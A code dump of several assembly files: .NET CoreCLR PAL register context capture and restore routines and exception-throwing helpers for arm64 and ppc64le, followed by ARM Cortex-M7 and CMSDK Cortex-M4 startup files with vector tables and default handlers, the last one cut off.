sub x0, x0, CONTEXT_FLOAT_CONTROL_OFFSET + CONTEXT_NEON_OFFSET
LOCAL_LABEL(Done_CONTEXT_FLOATING_POINT):
EPILOG_STACK_FREE 32
ret
LEAF_END CONTEXT_CaptureContext, _TEXT
// Incoming:
// x0: Context*
LEAF_ENTRY RtlCaptureContext, _TEXT
PROLOG_STACK_ALLOC 16
.cfi_adjust_cfa_offset 16
str x1, [sp]
// same as above, clang doesn't like mov with #imm32
// keep this in sync if CONTEXT_FULL changes
movz w1, #0x40, lsl #16
orr w1, w1, #0x1
orr w1, w1, #0x2
orr w1, w1, #0x4
orr w1, w1, #0x8
str w1, [x0, CONTEXT_ContextFlags]
ldr x1, [sp]
EPILOG_STACK_FREE 16
b C_FUNC(CONTEXT_CaptureContext)
LEAF_END RtlCaptureContext, _TEXT
// Incoming:
// x0: Context*
// x1: Exception*
//
LEAF_ENTRY RtlRestoreContext, _TEXT
#ifdef HAS_ASAN
ldr w17, [x0, #(CONTEXT_ContextFlags)]
tbz w17, #CONTEXT_CONTROL_BIT, LOCAL_LABEL(Restore_CONTEXT_FLOATING_POINT)
stp x0, x1, [sp, -16]!
bl EXTERNAL_C_FUNC(__asan_handle_no_return)
ldp x0, x1, [sp], 16
LOCAL_LABEL(Restore_CONTEXT_FLOATING_POINT):
#endif
// aarch64 specifies:
// IP0 and IP1, the Intra-Procedure Call temporary registers,
// are available for use by e.g. veneers or branch islands during a procedure call.
// They are otherwise corruptible.
// Since we cannot control $pc directly, we're going to corrupt x16 and x17
// so that we can restore control
// since we potentially clobber x0 below, we'll bank it in x16
mov x16, x0
ldr w17, [x16, CONTEXT_ContextFlags]
tbz w17, #CONTEXT_FLOATING_POINT_BIT, LOCAL_LABEL(No_Restore_CONTEXT_FLOATING_POINT)
add x16, x16, CONTEXT_NEON_OFFSET
ldp q0, q1, [x16, CONTEXT_V0]
ldp q2, q3, [x16, CONTEXT_V2]
ldp q4, q5, [x16, CONTEXT_V4]
ldp q6, q7, [x16, CONTEXT_V6]
ldp q8, q9, [x16, CONTEXT_V8]
ldp q10, q11, [x16, CONTEXT_V10]
ldp q12, q13, [x16, CONTEXT_V12]
ldp q14, q15, [x16, CONTEXT_V14]
ldp q16, q17, [x16, CONTEXT_V16]
ldp q18, q19, [x16, CONTEXT_V18]
ldp q20, q21, [x16, CONTEXT_V20]
ldp q22, q23, [x16, CONTEXT_V22]
ldp q24, q25, [x16, CONTEXT_V24]
ldp q26, q27, [x16, CONTEXT_V26]
ldp q28, q29, [x16, CONTEXT_V28]
ldp q30, q31, [x16, CONTEXT_V30]
add x16, x16, CONTEXT_FLOAT_CONTROL_OFFSET
ldp x1, x2, [x16, CONTEXT_Fpcr]
msr fpcr, x1
msr fpsr, x2
sub x16, x16, CONTEXT_FLOAT_CONTROL_OFFSET + CONTEXT_NEON_OFFSET
LOCAL_LABEL(No_Restore_CONTEXT_FLOATING_POINT):
tbz w17, #CONTEXT_INTEGER_BIT, LOCAL_LABEL(No_Restore_CONTEXT_INTEGER)
ldp x0, x1, [x16, CONTEXT_X0]
ldp x2, x3, [x16, CONTEXT_X2]
ldp x4, x5, [x16, CONTEXT_X4]
ldp x6, x7, [x16, CONTEXT_X6]
ldp x8, x9, [x16, CONTEXT_X8]
ldp x10, x11, [x16, CONTEXT_X10]
ldp x12, x13, [x16, CONTEXT_X12]
ldp x14, x15, [x16, CONTEXT_X14]
ldp x18, x19, [x16, CONTEXT_X18]
ldp x20, x21, [x16, CONTEXT_X20]
ldp x22, x23, [x16, CONTEXT_X22]
ldp x24, x25, [x16, CONTEXT_X24]
ldp x26, x27, [x16, CONTEXT_X26]
ldr x28, [x16, CONTEXT_X28]
LOCAL_LABEL(No_Restore_CONTEXT_INTEGER):
tbz w17, #CONTEXT_CONTROL_BIT, LOCAL_LABEL(No_Restore_CONTEXT_CONTROL)
ldr w17, [x16, CONTEXT_Cpsr]
msr nzcv, x17
ldp fp, lr, [x16, CONTEXT_Fp]
ldp x16, x17, [x16, CONTEXT_Sp] // Context_Pc is right after Context_Sp
mov sp, x16
br x17
LOCAL_LABEL(No_Restore_CONTEXT_CONTROL):
ret
LEAF_END RtlRestoreContext, _TEXT
|
VSharp-team/VSharp | 2,001 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/arm64/exceptionhelper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include "unixasmmacros.inc"
#include "asmconstants.h"
//////////////////////////////////////////////////////////////////////////
//
// This function creates a stack frame right below the target frame, restores all callee
// saved registers, SP, and LR from the passed in context.
// Then it uses the ThrowExceptionHelper to throw the passed in exception from that context.
// EXTERN_C void ThrowExceptionFromContextInternal(CONTEXT* context, PAL_SEHException* ex);
LEAF_ENTRY ThrowExceptionFromContextInternal, _TEXT
#ifdef HAS_ASAN
// Need to call __asan_handle_no_return explicitly here because we re-initialize SP before
// throwing exception in ThrowExceptionHelper
stp x0, x1, [sp, -16]!
bl EXTERNAL_C_FUNC(__asan_handle_no_return)
ldp x0, x1, [sp], 16
#endif
// Save the FP & LR to the stack so that the unwind can work at the instruction after
// loading the FP from the context, but before loading the SP from the context.
stp fp, lr, [sp, -16]!
ldp x19,x20, [x0, #(CONTEXT_X19)]
ldp x21,x22, [x0, #(CONTEXT_X21)]
ldp x23,x24, [x0, #(CONTEXT_X23)]
ldp x24,x25, [x0, #(CONTEXT_X24)]
ldp x26,x27, [x0, #(CONTEXT_X26)]
ldp x28,fp, [x0, #(CONTEXT_X28)]
ldr lr, [x0, #(CONTEXT_Pc)]
// Restore the lower 64 bits of v8-v15
add x2, x0, CONTEXT_NEON_OFFSET
ldr d8, [x2, #(CONTEXT_V8 )]
ldr d9, [x2, #(CONTEXT_V9 )]
ldr d10, [x2, #(CONTEXT_V10)]
ldr d11, [x2, #(CONTEXT_V11)]
ldr d12, [x2, #(CONTEXT_V12)]
ldr d13, [x2, #(CONTEXT_V13)]
ldr d14, [x2, #(CONTEXT_V14)]
ldr d15, [x2, #(CONTEXT_V15)]
ldr x2, [x0, #(CONTEXT_Sp)]
mov sp, x2
// The PAL_SEHException pointer
mov x0, x1
b EXTERNAL_C_FUNC(ThrowExceptionHelper)
LEAF_END ThrowExceptionFromContextInternal, _TEXT
|
VSharp-team/VSharp | 1,106 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/ppc64le/callsignalhandlerwrapper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include "unixasmmacros.inc"
#include "asmconstants.h"
.macro CALL_SIGNAL_HANDLER_WRAPPER Alignment
.globl C_FUNC(SignalHandlerWorkerReturnOffset\Alignment)
C_FUNC(SignalHandlerWorkerReturnOffset\Alignment):
.int LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment)-C_FUNC(CallSignalHandlerWrapper\Alignment)
// This function is never called, only a fake stack frame will be setup to have a return
// address set to SignalHandlerWorkerReturn during SIGSEGV handling.
// It enables the unwinder to unwind stack from the handling code to the actual failure site.
NESTED_ENTRY CallSignalHandlerWrapper\Alignment, _TEXT, NoHandler
mflr %r0
std %r0, 16(%r1)
stdu %r1,-32(%r1)
bl EXTERNAL_C_FUNC(signal_handler_worker)
LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment):
addi %r1, %r1, 32
ld %r0, 16(%r1)
mtlr %r0
blr
NESTED_END CallSignalHandlerWrapper\Alignment, _TEXT
.endm
CALL_SIGNAL_HANDLER_WRAPPER 0
CALL_SIGNAL_HANDLER_WRAPPER 8
|
VSharp-team/VSharp | 4,862 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/ppc64le/context2.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
//
// Implementation of _CONTEXT_CaptureContext for the IBM power ppc64le platform.
// This function is processor dependent. It is used by exception handling,
// and is always apply to the current thread.
//
#include "unixasmmacros.inc"
#include "asmconstants.h"
// Incoming:
// R3: Context*
//
LEAF_ENTRY CONTEXT_CaptureContext, _TEXT
// Store all general purpose registers
std %r0, CONTEXT_R0(%r3)
std %r1, CONTEXT_R1(%r3)
std %r2, CONTEXT_R2(%r3)
std %r3, CONTEXT_R3(%r3)
std %r4, CONTEXT_R4(%r3)
std %r5, CONTEXT_R5(%r3)
std %r6, CONTEXT_R6(%r3)
std %r7, CONTEXT_R7(%r3)
std %r8, CONTEXT_R8(%r3)
std %r9, CONTEXT_R9(%r3)
std %r10, CONTEXT_R10(%r3)
std %r11, CONTEXT_R11(%r3)
std %r12, CONTEXT_R12(%r3)
std %r13, CONTEXT_R13(%r3)
std %r14, CONTEXT_R14(%r3)
std %r15, CONTEXT_R15(%r3)
std %r16, CONTEXT_R16(%r3)
std %r17, CONTEXT_R17(%r3)
std %r18, CONTEXT_R18(%r3)
std %r19, CONTEXT_R19(%r3)
std %r20, CONTEXT_R20(%r3)
std %r21, CONTEXT_R21(%r3)
std %r22, CONTEXT_R22(%r3)
std %r23, CONTEXT_R23(%r3)
std %r24, CONTEXT_R24(%r3)
std %r25, CONTEXT_R25(%r3)
std %r26, CONTEXT_R26(%r3)
std %r27, CONTEXT_R27(%r3)
std %r28, CONTEXT_R28(%r3)
std %r29, CONTEXT_R29(%r3)
std %r30, CONTEXT_R30(%r3)
std %r31, CONTEXT_R31(%r3)
// Store all floating point registers
stfd %f0, CONTEXT_F0(%r3)
stfd %f1, CONTEXT_F1(%r3)
stfd %f2, CONTEXT_F2(%r3)
stfd %f3, CONTEXT_F3(%r3)
stfd %f4, CONTEXT_F4(%r3)
stfd %f5, CONTEXT_F5(%r3)
stfd %f6, CONTEXT_F6(%r3)
stfd %f7, CONTEXT_F7(%r3)
stfd %f8, CONTEXT_F8(%r3)
stfd %f9, CONTEXT_F9(%r3)
stfd %f10, CONTEXT_F10(%r3)
stfd %f11, CONTEXT_F11(%r3)
stfd %f12, CONTEXT_F12(%r3)
stfd %f13, CONTEXT_F13(%r3)
stfd %f14, CONTEXT_F14(%r3)
stfd %f15, CONTEXT_F15(%r3)
stfd %f16, CONTEXT_F16(%r3)
stfd %f17, CONTEXT_F17(%r3)
stfd %f18, CONTEXT_F18(%r3)
stfd %f19, CONTEXT_F19(%r3)
stfd %f20, CONTEXT_F20(%r3)
stfd %f21, CONTEXT_F21(%r3)
stfd %f22, CONTEXT_F22(%r3)
stfd %f23, CONTEXT_F23(%r3)
stfd %f24, CONTEXT_F24(%r3)
stfd %f25, CONTEXT_F25(%r3)
stfd %f26, CONTEXT_F26(%r3)
stfd %f27, CONTEXT_F27(%r3)
stfd %f28, CONTEXT_F28(%r3)
stfd %f29, CONTEXT_F29(%r3)
stfd %f30, CONTEXT_F30(%r3)
stfd %f31, CONTEXT_F31(%r3)
// Save Control Registers - XER, LR and CTR
mfspr 5, 1
std %r5, CONTEXT_XER(%r3)
mflr %r5
std %r5, CONTEXT_LINK(%r3)
mfspr 5, 9
std %r5, CONTEXT_CTR(%r3)
// Restore r5 general purpose register
ld %r5, CONTEXT_R5(%r3)
blr
LEAF_END CONTEXT_CaptureContext, _TEXT
LEAF_ENTRY RtlCaptureContext, _TEXT
b C_FUNC(CONTEXT_CaptureContext)
LEAF_END RtlCaptureContext, _TEXT
LEAF_ENTRY RtlRestoreContext, _TEXT
// Restore all floating point registers
lfd %f0, CONTEXT_F0(%r3)
lfd %f1, CONTEXT_F1(%r3)
lfd %f2, CONTEXT_F2(%r3)
lfd %f3, CONTEXT_F3(%r3)
lfd %f4, CONTEXT_F4(%r3)
lfd %f5, CONTEXT_F5(%r3)
lfd %f6, CONTEXT_F6(%r3)
lfd %f7, CONTEXT_F7(%r3)
lfd %f8, CONTEXT_F8(%r3)
lfd %f9, CONTEXT_F9(%r3)
lfd %f10, CONTEXT_F10(%r3)
lfd %f11, CONTEXT_F11(%r3)
lfd %f12, CONTEXT_F12(%r3)
lfd %f13, CONTEXT_F13(%r3)
lfd %f14, CONTEXT_F14(%r3)
lfd %f15, CONTEXT_F15(%r3)
lfd %f16, CONTEXT_F16(%r3)
lfd %f17, CONTEXT_F17(%r3)
lfd %f18, CONTEXT_F18(%r3)
lfd %f19, CONTEXT_F19(%r3)
lfd %f20, CONTEXT_F20(%r3)
lfd %f21, CONTEXT_F21(%r3)
lfd %f22, CONTEXT_F22(%r3)
lfd %f23, CONTEXT_F23(%r3)
lfd %f24, CONTEXT_F24(%r3)
lfd %f25, CONTEXT_F25(%r3)
lfd %f26, CONTEXT_F26(%r3)
lfd %f27, CONTEXT_F27(%r3)
lfd %f28, CONTEXT_F28(%r3)
lfd %f29, CONTEXT_F29(%r3)
lfd %f30, CONTEXT_F30(%r3)
lfd %f31, CONTEXT_F31(%r3)
// Restore all general purpose registers
ld %r0, CONTEXT_R0(%R3)
ld %r1, CONTEXT_R1(%r3)
ld %r2, CONTEXT_R2(%r3)
ld %r4, CONTEXT_R4(%r3)
ld %r5, CONTEXT_R5(%r3)
ld %r6, CONTEXT_R6(%r3)
ld %r7, CONTEXT_R7(%r3)
ld %r8, CONTEXT_R8(%r3)
ld %r9, CONTEXT_R9(%r3)
ld %r10, CONTEXT_R10(%r3)
ld %r11, CONTEXT_R11(%r3)
ld %r12, CONTEXT_R12(%r3)
ld %r13, CONTEXT_R13(%r3)
ld %r14, CONTEXT_R14(%r3)
ld %r15, CONTEXT_R15(%r3)
ld %r16, CONTEXT_R16(%r3)
ld %r17, CONTEXT_R17(%r3)
ld %r18, CONTEXT_R18(%r3)
ld %r19, CONTEXT_R19(%r3)
ld %r20, CONTEXT_R20(%r3)
ld %r21, CONTEXT_R21(%r3)
ld %r22, CONTEXT_R22(%r3)
ld %r23, CONTEXT_R23(%r3)
ld %r24, CONTEXT_R24(%r3)
ld %r25, CONTEXT_R25(%r3)
ld %r26, CONTEXT_R26(%r3)
ld %r27, CONTEXT_R27(%r3)
ld %r28, CONTEXT_R28(%r3)
ld %r29, CONTEXT_R29(%r3)
ld %r30, CONTEXT_R30(%r3)
ld %r31, CONTEXT_R31(%r3)
// Restore Control Register - XER
ld %r12, CONTEXT_XER(%r3)
mtspr 1, 12
// Restore Control Register - LR
mtlr %r0
// Restore Control Register - CTR
ld %r12, CONTEXT_LINK(%r3)
mtctr %r12
// Restore R3 register
ld %r3, CONTEXT_R3(%r3)
// Branch to CTR register location
bctr
LEAF_END RtlRestoreContext, _TEXT
|
VSharp-team/VSharp | 2,017 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/ppc64le/exceptionhelper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include "unixasmmacros.inc"
#include "asmconstants.h"
//////////////////////////////////////////////////////////////////////////
//
// This function creates a stack frame right below the target frame, restores all callee
// saved registers from the passed in context, sets R15 to that frame and sets the
// return address to the target frame's PSW address.
// Then it uses the ThrowExceptionHelper to throw the passed in exception from that context.
// EXTERN_C void ThrowExceptionFromContextInternal(CONTEXT* context, PAL_SEHException* ex);
LEAF_ENTRY ThrowExceptionFromContextInternal, _TEXT
// Restore all non volatile floating point registers
lfd %f15, CONTEXT_F15(%r3)
lfd %f16, CONTEXT_F16(%r3)
lfd %f17, CONTEXT_F17(%r3)
lfd %f18, CONTEXT_F18(%r3)
lfd %f19, CONTEXT_F19(%r3)
lfd %f20, CONTEXT_F20(%r3)
lfd %f21, CONTEXT_F21(%r3)
lfd %f22, CONTEXT_F22(%r3)
lfd %f23, CONTEXT_F23(%r3)
lfd %f24, CONTEXT_F24(%r3)
lfd %f25, CONTEXT_F25(%r3)
lfd %f26, CONTEXT_F26(%r3)
lfd %f27, CONTEXT_F27(%r3)
lfd %f28, CONTEXT_F28(%r3)
lfd %f29, CONTEXT_F29(%r3)
lfd %f30, CONTEXT_F30(%r3)
lfd %f31, CONTEXT_F31(%r3)
// Restore all non volatile general purpose registers
ld %r14, CONTEXT_R14(%r3)
ld %r15, CONTEXT_R15(%r3)
ld %r16, CONTEXT_R16(%r3)
ld %r17, CONTEXT_R17(%r3)
ld %r18, CONTEXT_R18(%r3)
ld %r19, CONTEXT_R19(%r3)
ld %r20, CONTEXT_R20(%r3)
ld %r21, CONTEXT_R21(%r3)
ld %r22, CONTEXT_R22(%r3)
ld %r23, CONTEXT_R23(%r3)
ld %r24, CONTEXT_R24(%r3)
ld %r25, CONTEXT_R25(%r3)
ld %r26, CONTEXT_R26(%r3)
ld %r27, CONTEXT_R27(%r3)
ld %r28, CONTEXT_R28(%r3)
ld %r29, CONTEXT_R29(%r3)
ld %r30, CONTEXT_R30(%r3)
ld %r31, CONTEXT_R31(%r3)
ld %r0, CONTEXT_NIP(%r3)
mtlr %r0
ld %r1, CONTEXT_R1(%r3)
// The PAL_SEHException pointer
mr %r3, %r4
b EXTERNAL_C_FUNC(ThrowExceptionHelper)
LEAF_END ThrowExceptionFromContextInternal, _TEXT
|
vsfteam/vsf | 5,368 | example/kernel_test/project/mdk/gcc/startup_ARMCM7.S | /* File: startup_ARMCM7.S
* Purpose: startup file for Cortex-M7 devices. Should use with
* GCC for ARM Embedded Processors
* Version: V2.0
* Date: 01 August 2014
*
/* Copyright (c) 2011 - 2014 ARM LIMITED
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of ARM nor the names of its contributors may be used
to endorse or promote products derived from this software without
specific prior written permission.
*
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
---------------------------------------------------------------------------*/
.syntax unified
.arch armv7e-m
.section .stack
.align 3
.equ Stack_Size, 0x10000
.globl __StackTop
.globl __StackLimit
__StackLimit:
.space Stack_Size
.size __StackLimit, . - __StackLimit
__StackTop:
.size __StackTop, . - __StackTop
.section .heap
.align 3
.equ Heap_Size, 0x10000
.globl __HeapBase
.globl __HeapLimit
__HeapBase:
.if Heap_Size
.space Heap_Size
.endif
.size __HeapBase, . - __HeapBase
__HeapLimit:
.size __HeapLimit, . - __HeapLimit
.section .isr_vector
.align 2
.globl __isr_vector
__isr_vector:
.long __StackTop /* Top of Stack */
.long Reset_Handler /* Reset Handler */
.long NMI_Handler /* NMI Handler */
.long HardFault_Handler /* Hard Fault Handler */
.long MemManage_Handler /* MPU Fault Handler */
.long BusFault_Handler /* Bus Fault Handler */
.long UsageFault_Handler /* Usage Fault Handler */
.long 0 /* Reserved */
.long 0 /* Reserved */
.long 0 /* Reserved */
.long 0 /* Reserved */
.long SVC_Handler /* SVCall Handler */
.long DebugMon_Handler /* Debug Monitor Handler */
.long 0 /* Reserved */
.long PendSV_Handler /* PendSV Handler */
.long SysTick_Handler /* SysTick Handler */
/* External interrupts */
.long Default_Handler
.size __isr_vector, . - __isr_vector
.text
.thumb
.thumb_func
.align 2
.globl Reset_Handler
.type Reset_Handler, %function
Reset_Handler:
/* Firstly it copies data from read only memory to RAM. There are two schemes
* to copy. One can copy more than one sections. Another can only copy
* one section. The former scheme needs more instructions and read-only
* data to implement than the latter.
* Macro __STARTUP_COPY_MULTIPLE is used to choose between two schemes. */
/* Single section scheme.
*
* The ranges of copy from/to are specified by following symbols
* __etext: LMA of start of the section to copy from. Usually end of text
* __data_start__: VMA of start of the section to copy to
* __data_end__: VMA of end of the section to copy to
*
* All addresses must be aligned to 4 bytes boundary.
*/
ldr r1, =__etext
ldr r2, =__data_start__
ldr r3, =__data_end__
.L_loop1:
cmp r2, r3
ittt lt
ldrlt r0, [r1], #4
strlt r0, [r2], #4
blt .L_loop1
/* Single BSS section scheme.
*
* The BSS section is specified by following symbols
* __bss_start__: start of the BSS section.
* __bss_end__: end of the BSS section.
*
* Both addresses must be aligned to 4 bytes boundary.
*/
ldr r1, =__bss_start__
ldr r2, =__bss_end__
movs r0, 0
.L_loop3:
cmp r1, r2
itt lt
strlt r0, [r1], #4
blt .L_loop3
bl SystemInit
bl vsf_main_entry
.pool
.size Reset_Handler, . - Reset_Handler
.align 1
.thumb_func
.weak Default_Handler
.type Default_Handler, %function
Default_Handler:
b .
.size Default_Handler, . - Default_Handler
/* Macro to define default handlers. Default handler
* will be weak symbol and just dead loops. They can be
* overwritten by other handlers */
.macro def_irq_handler handler_name
.weak \handler_name
.set \handler_name, Default_Handler
.endm
def_irq_handler NMI_Handler
def_irq_handler HardFault_Handler
def_irq_handler MemManage_Handler
def_irq_handler BusFault_Handler
def_irq_handler UsageFault_Handler
def_irq_handler SVC_Handler
def_irq_handler DebugMon_Handler
def_irq_handler PendSV_Handler
def_irq_handler SysTick_Handler
def_irq_handler DEF_IRQHandler
.end
|
vsfteam/vsf | 11,418 | example/kernel_test/project/mdk/RTE/Device/CMSDK_CM4_FP/startup_CMSDK_CM4.s | ;/**************************************************************************//**
; * @file startup_CMSDK_CM4.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_CM4 Device
; * @version V3.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2011 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000C00
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
